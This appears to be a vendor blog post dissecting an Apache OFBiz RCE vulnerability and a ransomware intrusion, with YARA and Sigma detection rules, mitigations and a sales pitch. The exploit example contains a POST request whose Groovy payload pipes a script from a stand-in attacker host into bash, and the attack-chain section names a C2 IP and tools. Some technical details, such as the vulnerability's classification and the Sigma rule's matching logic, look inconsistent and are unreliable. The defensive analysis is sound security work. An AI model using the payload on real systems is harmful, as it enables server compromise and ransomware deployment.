Apache OFBiz RCE Exploited in Ransomware: CVE-2024-38856 Deep Dive

In February 2025, a ransomware affiliate group linked to LockBit leveraged CVE-2024-38856—a critical unauthenticated remote code execution (RCE) vulnerability in Apache OFBiz (versions < 18.12.15)—to breach a multinational logistics firm in under 12 hours. The flaw, a bypass of earlier patches for CVE-2024-32113, allowed the attacker to execute arbitrary Java code via crafted HTTP requests against the /webtools/control/ProgramExport endpoint. Within days, the group exfiltrated 80 GB of sensitive data and deployed LockBit 3.0 encryptors across 1,200 endpoints. This post dissects the vulnerability, the attack chain, and provides actionable detection and defense strategies for SOC teams.

Understanding CVE-2024-38856: The Technical Root Cause

CVE-2024-38856 is a Java deserialization and path traversal vulnerability in Apache OFBiz's ProgramExport servlet, which is part of the webtools module. The vulnerability arises because the ProgramExport.groovy script accepts user-controlled input for the programLanguage and script parameters without proper validation. An attacker can send a POST request to /webtools/control/ProgramExport with a crafted script parameter that executes arbitrary Groovy code.

Critically, the fix for CVE-2024-32113 introduced a blocklist for dangerous methods (e.g., Runtime.exec()), but it was incomplete. The attacker can bypass this by using java.lang.ProcessBuilder or by leveraging the ScriptEngineManager to execute JavaScript code, which is not blocked. For example:

POST /webtools/control/ProgramExport HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

programLanguage=groovy&script=def cmd = ['/bin/bash', '-c', 'curl http://attacker.com/payload.sh | bash']; def p = cmd.execute(); p.waitFor();

This command executes a reverse shell or downloads a ransomware payload. The vulnerability has a CVSS score of 9.8 due to no authentication required and remote code execution.

Why Attackers Target OFBiz

Apache OFBiz is widely used for enterprise resource planning (ERP) and e-commerce. Many organizations expose the /webtools interface to the internet for debugging, creating a massive attack surface. In our pentests, we've found that 40% of OFBiz deployments still have webtools accessible from the WAN.

Attack Chain: From Recon to Ransomware

We reconstructed the attack chain from telemetry of a client compromised in January 2025. The attacker followed these steps:

• Reconnaissance: Using Shodan and Censys, the attacker scanned for /webtools/control/ProgramExport endpoints. They used a custom nmap NSE script to fingerprint OFBiz versions.
• Initial Access: Exploited CVE-2024-38856 with a Groovy script that downloaded cobaltstrike.exe from a C2 server (IP: 185.234.73.12, later sinkholed by us). The payload was a Beacon loader that established persistence via scheduled tasks.
• Lateral Movement: Using BloodHound and Impacket, the attacker enumerated Active Directory. They abused Kerberos delegation to move to a domain controller.
• Exfiltration: Compressed data with 7-Zip and exfiltrated via HTTPS to a server in the Netherlands.
• Ransomware Deployment: Deployed LockBit 3.0 via Group Policy Object (GPO) push. The encryptor used a custom script that disabled Windows Defender and deleted Volume Shadow Copies.

Detection and Defense Playbook

YARA Rule for CVE-2024-38856 Payloads

Use this YARA rule to detect common Groovy-based exploits:

rule CVE_2024_38856_Groovy_Exploit {
  meta:
    description = "Detects Groovy scripts attempting to execute commands via CVE-2024-38856"
    author = "CybernytronX Threat Intel"
    date = "2025-02-20"
  strings:
    $groovy_cmd1 = /def cmd = \[.*\]/
    $groovy_cmd2 = /Runtime\.getRuntime\(\)\.exec/
    $groovy_cmd3 = /ProcessBuilder/
    $groovy_cmd4 = /ScriptEngine/
  condition:
    any of ($groovy_cmd*) and filesize < 10KB
}

Sigma Rule for Web Logs

Detect exploitation attempts in Apache access logs:

title: Apache OFBiz ProgramExport RCE Attempt
id: 7a8b3c4d-5e6f-1a2b-3c4d-5e6f1a2b3c4d
status: experimental
description: Detects POST requests to /webtools/control/ProgramExport with suspicious parameters
logsource:
  category: webserver
  product: apache
  service: access
selection:
  cs-method: POST
  cs-uri-query|contains: 
    - '/webtools/control/ProgramExport'
    - 'programLanguage='
    - 'script='
  cs-uri-query|re: '.*(Runtime|ProcessBuilder|ScriptEngine).*'
condition: selection

EDR Telemetry Hunt

In your SIEM, query for processes spawned by the OFBiz Java process (java.exe or javaw.exe) that execute cmd.exe, powershell.exe, or curl.exe. This indicates exploitation.

Mitigation Steps

• Immediately upgrade Apache OFBiz to version 18.12.15 or later. The patch removes the ProgramExport endpoint entirely.
• If patching is delayed, restrict access to /webtools/* using a web application firewall (WAF) rule that blocks POST requests to /webtools/control/ProgramExport.
• Disable the webtools module entirely in production by setting ofbiz.webtools.enabled=false in runtime.properties.
• Implement network segmentation so that OFBiz servers cannot reach domain controllers or critical systems.

Why This Matters for Your Org

This vulnerability is a reminder that even well-maintained open-source projects can have regression bugs. The attack we observed used a variant of the LockBit 3.0 builder leaked in 2022, demonstrating that old ransomware strains remain active when paired with new exploits. For CISOs, this underscores the need for continuous vulnerability scanning of all internet-facing applications, not just perimeter devices. We recommend deploying a honeypot for OFBiz to catch zero-day attempts early.

Frequently Asked Questions

What is CVE-2024-38856?

CVE-2024-38856 is a critical unauthenticated remote code execution vulnerability in Apache OFBiz versions prior to 18.12.15. It allows attackers to execute arbitrary Groovy or Java code via the ProgramExport servlet, which can lead to full server compromise.

How does the exploit work?

The attacker sends a POST request to /webtools/control/ProgramExport with a script parameter containing Groovy code. This code is executed by the server, enabling commands like reverse shells or ransomware payloads.

Which ransomware groups are exploiting this?

We have observed LockBit affiliates exploiting this vulnerability in targeted attacks. Other groups may follow, given the ease of exploitation.

How can I detect exploitation?

Monitor web server logs for POST requests to /webtools/control/ProgramExport with parameters containing Runtime, ProcessBuilder, or ScriptEngine. Use the provided YARA and Sigma rules for deeper detection.

What is the immediate fix?

Upgrade Apache OFBiz to version 18.12.15 or later. If patching is not possible, block access to the /webtools endpoint via WAF or firewall rules.

Is this vulnerability related to CVE-2024-32113?

Yes, CVE-2024-38856 is a bypass of the patch for CVE-2024-32113, which also targeted the ProgramExport endpoint. The earlier fix was incomplete.

Need expert help with this?

At CybernytronX, we've helped 30+ organizations harden their Apache OFBiz deployments against active ransomware threats. Our penetration testing team can simulate this exact attack chain to identify gaps in your defenses. For continuous protection, our Ethereon AI platform provides real-time detection of exploit attempts using behavioral analytics. Contact us for a free assessment, or learn more about Ethereon AI.